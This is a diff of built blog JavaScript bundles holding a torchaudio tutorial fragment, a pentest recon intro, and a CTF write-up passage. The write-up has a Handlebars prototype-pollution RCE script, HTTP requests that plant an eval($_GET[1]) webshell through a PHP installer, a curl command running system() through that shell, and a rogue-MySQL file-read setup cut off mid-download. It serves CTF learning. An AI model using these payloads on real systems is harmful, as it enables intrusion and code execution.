transforms\u548cfunctional\u7684\u4f7f\u7528"}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.transform\u6a21\u5757\u5305\u542b\u5e38\u89c1\u7684\u97f3\u9891\u5904\u7406\u548c\u7279\u5f81\u63d0\u53d6\u3002torchaudio.functional\u5219\u5305\u62ec\u4e86\u4e00\u4e9b\u5e38\u89c1\u7684\u97f3\u9891\u64cd\u4f5c\u7684\u51fd\u6570\u3002\u5173\u4e8etorchaudio.transform\uff0c\u5b98\u65b9\u63d0\u4f9b\u4e86\u4e00\u4e2a\u6d41\u7a0b\u56fe\u4f9b\u6211\u4eec\u53c2\u8003\u5b66\u4e60\uff1a\n",(0,o.jsx)(i.img,{alt:"torchaudio_feature_extaction",src:n(90938).A+"",width:"960",height:"720"}),"\ntorchaudio.transforms\u7ee7\u627f\u4e8etorch.nn.Module\uff0c\u4f46\u662f\u4e0d\u540c\u4e8etorchvision.transforms\uff0ctorchaudio\u6ca1\u6709compose\u65b9\u6cd5\u5c06\u591a\u4e2atransform\u7ec4\u5408\u8d77\u6765\u3002\u56e0\u6b64torchaudio\u6784\u5efatransform pipeline\u7684\u5e38\u89c1\u65b9\u6cd5\u662f\u81ea\u5b9a\u4e49\u6a21\u5757\u7c7b\u6216\u4f7f\u7528torch.nn.Sequential\u5c06\u4ed6\u4eec\u5728\u4e00\u8d77\u3002\u7136\u540e\u5c06\u5176\u79fb\u52a8\u5230\u76ee\u6807\u8bbe\u5907\u548c\u6570\u636e\u7c7b\u578b\u3002\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u5b98\u65b9\u6240\u7ed9\u51fa\u7684\u4f8b\u5b50\uff1a"]}),"\n",(0,o.jsx)(i.pre,{children:(0,o.jsx)(i.code,{className:"language-python",children:"# Define custom feature extraction pipeline.\n#\n# 1. Resample audio\n# 2. Convert to power spectrogram\n# 3. Apply augmentations\n# 4. Convert to mel-scale\n#\nclass MyPipeline(torch.nn.Module):\n def __init__(\n self,\n input_freq=16000,\n resample_freq=8000,\n n_fft=1024,\n n_mel=256,\n stretch_factor=0.8,\n ):\n super().__init__()\n self.resample = Resample(orig_freq=input_freq, new_freq=resample_freq)\n self.spec = Spectrogram(n_fft=n_fft, power=2)\n self.spec_aug = torch.nn.Sequential(\n TimeStretch(stretch_factor, fixed_rate=True),\n FrequencyMasking(freq_mask_param=80),\n TimeMasking(time_mask_param=80),\n )\n self.mel_scale = MelScale(\n n_mels=n_mel, sample_rate=resample_freq, n_stft=n_fft // 2 + 1)\n\n def forward(self, waveform: torch.Tensor) -> torch.Tensor:\n # Resample the input\n resampled = self.resample(waveform)\n # Convert to power spectrogram\n spec = self.spec(resampled)\n # Apply SpecAugment\n spec = self.spec_aug(spec)\n # Convert to mel-scale\n mel = self.mel_scale(spec)\n return mel\n"})}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.transform\u7684\u4f7f\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/main/transforms.html",children:"torchaudio.transforms"}),"\u8fdb\u4e00\u6b65\u4e86\u89e3\u3002"]}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.functional\u652f\u6301\u4e86\u8bb8\u591a\u8bed\u97f3\u7684\u5904\u7406\u65b9\u6cd5\uff0c\u5173\u4e8etorchaudio.functional\u7684\u4f7f\u7528\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/main/functional.html",children:"torchaudio.functional"}),"\u8fdb\u4e00\u6b65\u4e86\u89e3\u3002"]}),"\n",(0,o.jsx)(i.h2,{id:"846-compliance\u548ckaldi_io\u7684\u4f7f\u7528",children:"8.4.6 compliance\u548ckaldi_io\u7684\u4f7f\u7528"}),"\n",(0,o.jsx)(i.p,{children:"Kaldi\u662f\u4e00\u4e2a\u7528\u4e8e\u8bed\u97f3\u8bc6\u522b\u7814\u7a76\u7684\u5de5\u5177\u7bb1,\u7531CMU\u5f00\u53d1,\u5f00\u6e90\u514d\u8d39\u3002\u5b83\u5305\u542b\u4e86\u6784\u5efa\u8bed\u97f3\u8bc6\u522b\u7cfb\u7edf\u6240\u9700\u7684\u5168\u90e8\u7ec4\u4ef6,\u662f\u8bed\u97f3\u8bc6\u522b\u9886\u57df\u6700\u6d41\u884c\u548c\u5f71\u54cd\u529b\u6700\u5927\u7684\u5f00\u6e90\u5de5\u5177\u4e4b\u4e00\u3002torchaudio\u4e2d\u63d0\u4f9b\u4e86\u4e00\u4e9b\u4e0eKaldi\u5de5\u5177\u517c\u5bb9\u7684\u65b9\u6cd5\uff0c\u8fd9\u4e9b\u65b9\u6cd5\u5206\u522b\u5c5e\u4e8etorchaduio.compliance.kaldi\uff0ctorchaduio.kaldi_io\u3002"}),"\n",(0,o.jsx)(i.h3,{id:"torchaduiocompliancekaldi",children:"torchaduio.compliance.kaldi"}),"\n",(0,o.jsx)(i.p,{children:"\u5728torchaudio.compliance.kaldi\u4e2d\uff0ctorchaudio\u63d0\u4f9b\u4e86\u4ee5\u4e0b\u4e09\u79cd\u65b9\u6cd5\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"torchaudio.compliance.kaldi.spectrogram\uff1a\u4ece\u8bed\u97f3\u4fe1\u53f7\u4e2d\u63d0\u53d6Spectrogram\u7279\u5f81"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.compliance.kaldi.fbank\uff1a\u4ece\u8bed\u97f3\u4fe1\u53f7\u4e2d\u63d0\u53d6FBank\u7279\u5f81"}),"\n",(0,o.jsx)(i.li,{children:"torchaduio.compliance.kaldi.mfcc\uff1a\u4ece\u8bed\u97f3\u4fe1\u53f7\u4e2d\u63d0\u53d6MFCC\u7279\u5f81"}),"\n"]}),"\n",(0,o.jsx)(i.h3,{id:"torchaduiokaldi_io",children:"torchaduio.kaldi_io"}),"\n",(0,o.jsxs)(i.p,{children:["torchaudio.kaldi_io\u662f\u4e00\u4e2atorchaudio\u7684\u5b50\u6a21\u5757,\u7528\u4e8e\u8bfb\u53d6\u548c\u5199\u5165Kaldi\u7684\u6570\u636e\u96c6\u683c\u5f0f\u3002\u5f53\u6211\u4eec\u8981\u4f7f\u7528torchaudio.kaldi_io\u65f6,\u6211\u4eec\u9700\u8981\u5148\u786e\u4fdd",(0,o.jsx)(i.a,{href:"https://github.com/vesis84/kaldi-io-for-python",children:"kalid_io"}),"\u5df2\u7ecf\u5b89\u88c5\u3002"]}),"\n",(0,o.jsx)(i.p,{children:"\u5177\u4f53\u6765\u8bf4\uff0c\u4e3b\u8981\u63a5\u53e3\u5305\u62ec\uff1a"}),"\n",(0,o.jsxs)(i.ul,{children:["\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_vec_int_ark\uff1a\u4eceKaldi\u7684scp\u6587\u4ef6\u4e2d\u8bfb\u53d6float\u7c7b\u578b\u7684\u6570\u636e"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_vec_flt_scp"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_vec_flt_ark"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_mat_scp"}),"\n",(0,o.jsx)(i.li,{children:"torchaudio.kaldi_io.read_mat_ark"}),"\n"]}),"\n",(0,o.jsxs)(i.p,{children:["\u5177\u4f53\u7684\u4f7f\u7528\u65b9\u6cd5\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/kaldi_io.html",children:"torchaudio.kaldi_io"}),"\u8fdb\u4e00\u6b65\u4e86\u89e3\u3002"]}),"\n",(0,o.jsx)(i.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,o.jsxs)(i.p,{children:["\u672c\u8282\u6211\u4eec\u4e3b\u8981\u4ecb\u7ecd\u4e86torchaudio\u7684\u57fa\u672c\u4f7f\u7528\u65b9\u6cd5\u548c\u5e38\u7528\u7684\u6a21\u5757\uff0c\u5982\u679c\u60f3\u8981\u8fdb\u4e00\u6b65\u5b66\u4e60\uff0c\u53ef\u4ee5\u53c2\u8003",(0,o.jsx)(i.a,{href:"https://pytorch.org/audio/stable/index.html",children:"torchaudio\u5b98\u65b9\u6587\u6863"}),"\u3002"]})]})}function h(e={}){const{wrapper:i}={...(0,r.R)(),...e.components};return i?(0,o.jsx)(i,{...e,children:(0,o.jsx)(s,{...e})}):s(e)}},28453:(e,i,n)=>{n.d(i,{R:()=>a,x:()=>l});var t=n(96540);const o={},r=t.createContext(o);function a(e){const i=t.useContext(r);return t.useMemo(function(){return"function"==typeof e?e(i):{...i,...e}},[i,e])}function l(e){let i;return i=e.disableParentContext?"function"==typeof e.components?e.components(o):e.components||o:a(e.components),t.createElement(r.Provider,{value:i},e.children)}},90938:(e,i,n)=>{n.d(i,{A:()=>t});const t=n.p+"assets/images/torchaudio_feature_extractions-ad8a4ee648b7f7d7084bb8ca2870aa42.png"}}]); \ No newline at end of file diff --git a/assets/js/4e347250.0e2de2d4.js b/assets/js/4e347250.0e2de2d4.js new file mode 100644 index 0000000..fab1a83 --- /dev/null +++ b/assets/js/4e347250.0e2de2d4.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4563],{4984:(t,e,n)=>{n.r(e),n.d(e,{assets:()=>c,contentTitle:()=>l,default:()=>h,frontMatter:()=>i,metadata:()=>s,toc:()=>d});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/README","title":"\u4fe1\u606f\u6536\u96c6","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"intro","permalink":"/docs/intro"},"next":{"title":"\u4e3b\u57df\u540d\u6536\u96c6","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/"}}');var r=n(74848),o=n(28453);const i={},l="\u4fe1\u606f\u6536\u96c6",c={},d=[];function a(t){const e={blockquote:"blockquote",h1:"h1",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...t.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"\u4fe1\u606f\u6536\u96c6",children:"\u4fe1\u606f\u6536\u96c6"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-15 00:31:21"})]})})]}),"\n",(0,r.jsxs)(e.blockquote,{children:["\n",(0,r.jsx)(e.p,{children:"[!TIP]"}),"\n",(0,r.jsx)(e.p,{children:"\u6e17\u900f\u6d4b\u8bd5\u7684\u672c\u8d28\u5c31\u662f\u4fe1\u606f\u6536\u96c6\uff0c\u8fd9\u53e5\u8bdd\u60f3\u5fc5\u5927\u5bb6\u90fd\u542c\u8fc7\uff0c\u5728\u6574\u4e2a\u6e17\u900f\u6d4b\u8bd5\u7684\u65f6\u5019\uff0c\u4fe1\u606f\u6536\u96c6\u5360\u636e\u4e86\u7edd\u5927\u90e8\u5206\u3002\u62ff\u5230\u4e00\u4e2a\u76ee\u6807\u7684\u4e3b\u7ad9\u57df\u540d\u540e\uff0c\u60f3\u4ece\u4e3b\u7ad9\u653b\u5165\u4e00\u822c\u662f\u5f88\u56f0\u96be\u7684\uff0c\u6216\u8005\u8bf4\u6839\u672c\u4e0d\u53ef\u80fd\uff0c\u4f46\u5982\u679c\u4fe1\u606f\u6536\u96c6\u505a\u5f97\u5168\u9762\uff0c\u653b\u51fb\u9762\u6269\u5927\uff0c\u627e\u5230\u76ee\u6807\u7684\u8106\u5f31\u70b9\uff0c\u8ba9\u653b\u9677\u76ee\u6807\u66f4\u5bb9\u6613\u3002"}),"\n"]})]})}function h(t={}){const{wrapper:e}={...(0,o.R)(),...t.components};return e?(0,r.jsx)(e,{...t,children:(0,r.jsx)(a,{...t})}):a(t)}},28453:(t,e,n)=>{n.d(e,{R:()=>i,x:()=>l});var s=n(96540);const r={},o=s.createContext(r);function i(t){const e=s.useContext(o);return s.useMemo(function(){return"function"==typeof t?t(e):{...e,...t}},[e,t])}function l(t){let e;return e=t.disableParentContext?"function"==typeof t.components?t.components(r):t.components||r:i(t.components),s.createElement(o.Provider,{value:e},t.children)}}}]); \ No newline at end of file diff --git a/assets/js/4ffa29cb.fcb8b563.js b/assets/js/4ffa29cb.fcb8b563.js new file mode 100644 index 0000000..33806e8 --- /dev/null +++ b/assets/js/4ffa29cb.fcb8b563.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4302],{28453:(e,n,t)=>{t.d(n,{R:()=>i,x:()=>r});var a=t(96540);const l={},s=a.createContext(l);function i(e){const n=a.useContext(s);return a.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function r(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:i(e.components),a.createElement(s.Provider,{value:n},e.children)}},47306:(e,n,t)=>{t.r(n),t.d(n,{assets:()=>c,contentTitle:()=>r,default:()=>h,frontMatter:()=>i,metadata:()=>a,toc:()=>o});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README","title":"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/03.\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/03.\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/03.\u5404\u7c7bCTF\u6bd4\u8d5bWP/01.2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Handlebars-AST\u6ce8\u5165","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/Handlebars-AST\u6ce8\u5165"},"next":{"title":"RAGFlow \u5b89\u88c5\u6307\u5357\u5927\u7eb2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/RAGFlow\u5b89\u88c5/"}}');var l=t(74848),s=t(28453);const i={},r="2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4",c={},o=[{value:"\u9898\u76ee\u5217\u8868",id:"\u9898\u76ee\u5217\u8868",level:2},{value:"WriteUp",id:"writeup",level:2},{value:"EasyNodeRce",id:"easynoderce",level:3},{value:"\u601d\u8def",id:"\u601d\u8def",level:4},{value:"wp",id:"wp",level:3},{value:"EasyInstall",id:"easyinstall",level:3},{value:"\u601d\u8def",id:"\u601d\u8def-1",level:4},{value:"wp",id:"wp-1",level:4},{value:"NumberTheory",id:"numbertheory",level:3},{value:"\u601d\u8def",id:"\u601d\u8def-2",level:4},{value:"wp",id:"wp-2",level:4},{value:"USB",id:"usb",level:3},{value:"\u601d\u8def",id:"\u601d\u8def-3",level:4},{value:"wp",id:"wp-3",level:4},{value:"Reference",id:"reference",level:2}];function d(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"2025\u5e74\u80fd\u6e90ctf\u5927\u8d5b\u793e\u4f1a\u7ec4",children:"2025\u5e74\u80fd\u6e90CTF\u5927\u8d5b\u793e\u4f1a\u7ec4"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:39:14"})]})})]}),"\n",(0,l.jsxs)(n.p,{children:["\u9898\u76ee\u5df2\u7ecf\u6574\u5408\u5230\u4e86\u6211\u7684 ",(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/",children:"CTF\u5e73\u53f0"}),"\uff0c\u5404\u4f4d\u53ef\u524d\u5f80\u590d\u73b0"]}),"\n",(0,l.jsx)(n.h2,{id:"\u9898\u76ee\u5217\u8868",children:"\u9898\u76ee\u5217\u8868"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/challenges#3-EasyInstall",children:"EasyInstall"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/challenges#4-NumberTheory",children:"NumberTheory"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"https://ctf.wjlin0.com/games/3/challenges#5-USB",children:"USB"})}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"writeup",children:"WriteUp"}),"\n",(0,l.jsx)(n.h3,{id:"easynoderce",children:"EasyNodeRce"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def",children:"\u601d\u8def"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u5229\u7528 ",(0,l.jsx)(n.code,{children:"Handlebars AST\u6ce8\u5165"}),"\u914d\u5408"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"\u539f\u578b\u94fe"}),"\u6c61\u67d3"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"wp",children:"wp"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-py",children:'import requests\n\npayload = {\n "__proto__": {\n "type": "Program",\n "body": [{\n "type": "MustacheStatement",\n "path": 0,\n "params": [{\n "type": "NumberLiteral",\n "value": "console.log(process.mainModule.require(\'child_process\').execSync(\'open -a Calculator\').toString())"\n }],\n "loc": {\n "start": 0\n }\n }]\n }\n}\n\nurl = "http://192.168.3.91:3000/template"\ndata = {\n "pathKey": "text",\n "data": payload\n}\nprint(data)\ntext = requests.post(url, json=data,proxies={"http":"http://127.0.0.1:8080"})\nprint(text.text)\n\n'})}),"\n",(0,l.jsx)(n.h3,{id:"easyinstall",children:"EasyInstall"}),"\n",(0,l.jsx)(n.h4,{id:"\u601d\u8def-1",children:"\u601d\u8def"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u901a\u8fc7\u5199\u5165 db \u914d\u7f6e\u6587\u4ef6 \u4e00\u53e5\u8bdd\u6728\u9a6c"}),"\n",(0,l.jsxs)(n.li,{children:["\u5229\u7528\u6076\u610f\u6570\u636e\u5e93\uff0c\u8bfb\u53d6\u672c\u5730\u6587\u4ef6 ",(0,l.jsx)(n.code,{children:"/readflag"})]}),"\n"]}),"\n",(0,l.jsx)(n.h4,{id:"wp-1",children:"wp"}),"\n",(0,l.jsx)(n.p,{children:"\u53d1\u9001\u4e00\u4e0b\u6570\u636e\u5305 \u6ce8\u610f mysql\u7684\u8fde\u63a5\u5730\u5740\u5fc5\u987b\u662f\u771f\u5b9e\u7684"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"POST /install.php?m=Install&a=step2&c=Install& HTTP/1.1\nHost: 127.0.0.1:2002\nContent-Length: 160\nPragma: no-cache\nCache-Control: no-cache\nContent-Type: application/x-www-form-urlencoded\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1\nConnection: keep-alive\n\nadmin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&admin[]=admin&db[]=mysql&db[]=127.0.0.1&db[]=test&db[]=root&db[]=root'.eval($_GET[1]).'1&db[]=3306&db[]=\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5f97\u5230\u5bf9\u5e94Cookie"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"HTTP/1.1 302 Found\nDate: Fri, 18 Apr 2025 02:43:44 GMT\nServer: Apache/2.4.25 (Debian)\nX-Powered-By: PHP/5.6.40\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nSet-Cookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/\nLocation: /install.php?s=/install/step3.html\nContent-Length: 0\nKeep-Alive: timeout=5, max=100\nConnection: Keep-Alive\nContent-Type: text/html; charset=utf-8\n\n\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5c06\u5f97\u5230\u7684cookie \u66ff\u6362\u4e0b\u65b9\u7684 Cookie \uff0c\u5e76\u8bf7\u6c42\u5199\u5165webShell"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"POST /install.php?m=Install&a=step3&c=Install& HTTP/1.1\nHost: 127.0.0.1:2002\nContent-Length: 0\nPragma: no-cache\nCookie: foo_db_config=think%3A%7B%22DB_PREFIX%22%3A%22%22%2C%22DB_PORT%22%3A%223306%22%2C%22DB_PWD%22%3A%22root%2527.eval%2528%2524_GET%255B1%255D%2529.%25271%22%2C%22DB_USER%22%3A%22root%22%2C%22DB_NAME%22%3A%22test%22%2C%22DB_HOST%22%3A%22127.0.0.1%22%2C%22DB_TYPE%22%3A%22mysql%22%7D; path=/\nCache-Control: no-cache\nContent-Type: application/x-www-form-urlencoded\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\nAccept-Encoding: gzip, deflate, br\nAccept-Language: zh-CN,zh;q=0.9,en;q=0.8\nCookie: PHPSESSID=f9d1b6956b5af8d809954a1a9d8db6b1\nConnection: keep-alive\n\n\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u8bbf\u95ee\u5f97\u5230flag"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c ~ curl 'http://127.0.0.1:2002/Modules/Common/Conf/35476a338e03e65c85448bb8450bd27d.php?1=system(%27cat+/readflag%27);'\nctf{123456789}\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u7b2c\u4e8c\u79cd\u89e3\u6cd5 \u5229\u7528 \u6076\u610fmysql\u670d\u52a1\u5668\u8bfb\u53d6\u5ba2\u6237\u7aef\u7684\u6587\u4ef6"}),"\n",(0,l.jsx)(n.p,{children:"\u8fd9\u9898\u7684flag\u5728\u6587\u4ef6 readflag \u6240\u4ee5\u6709\u70b9\u6076\u5fc3\u4e00\u822c\u60f3\u4e0d\u5230"}),"\n",(0,l.jsx)(n.p,{children:"\u9996\u5148\u5728\u62e5\u6709\u516c\u7f51IP\u7684VPS\u4e0a\u6784\u5efa\u670d\u52a1\u5668"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-sh",children:"\u279c /tmp wget https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip && unzip rogue_mysql_server-v1.0.1-linux-amd64.zip\n--2025-04-18 10:51:46-- https://github.com/rmb122/rogue_mysql_server/releases/download/v1.0.1/rogue_mysql_server-v1.0.1-linux-amd64.zip\nResolving github.com (github.com)... 20.205.243.166\nConnecting to github.com (github.com)|20.205.243.166|:443... connected.\nHTTP request sent, awaiting response... 302 Found\nLocation: https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream [following]\n--2025-04-18 10:51:46-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/274864626/d3436ccd-2e10-4cb9-9a1a-660b39e130fa?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250418%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250418T025134Z&X-Amz-Expires=300&X-Amz-Signature=c0afaa517ca3841b0be1836cd468aeda032264abc6b60ef0c77d072bb52f9619&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drogue_mysql_server-v1.0.1-linux-amd64.zip&response-content-type=application%2Foctet-stream\nResolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.111.133, 185.199.109.133, 185.199.110.133, ...\nConnecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.111.133|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 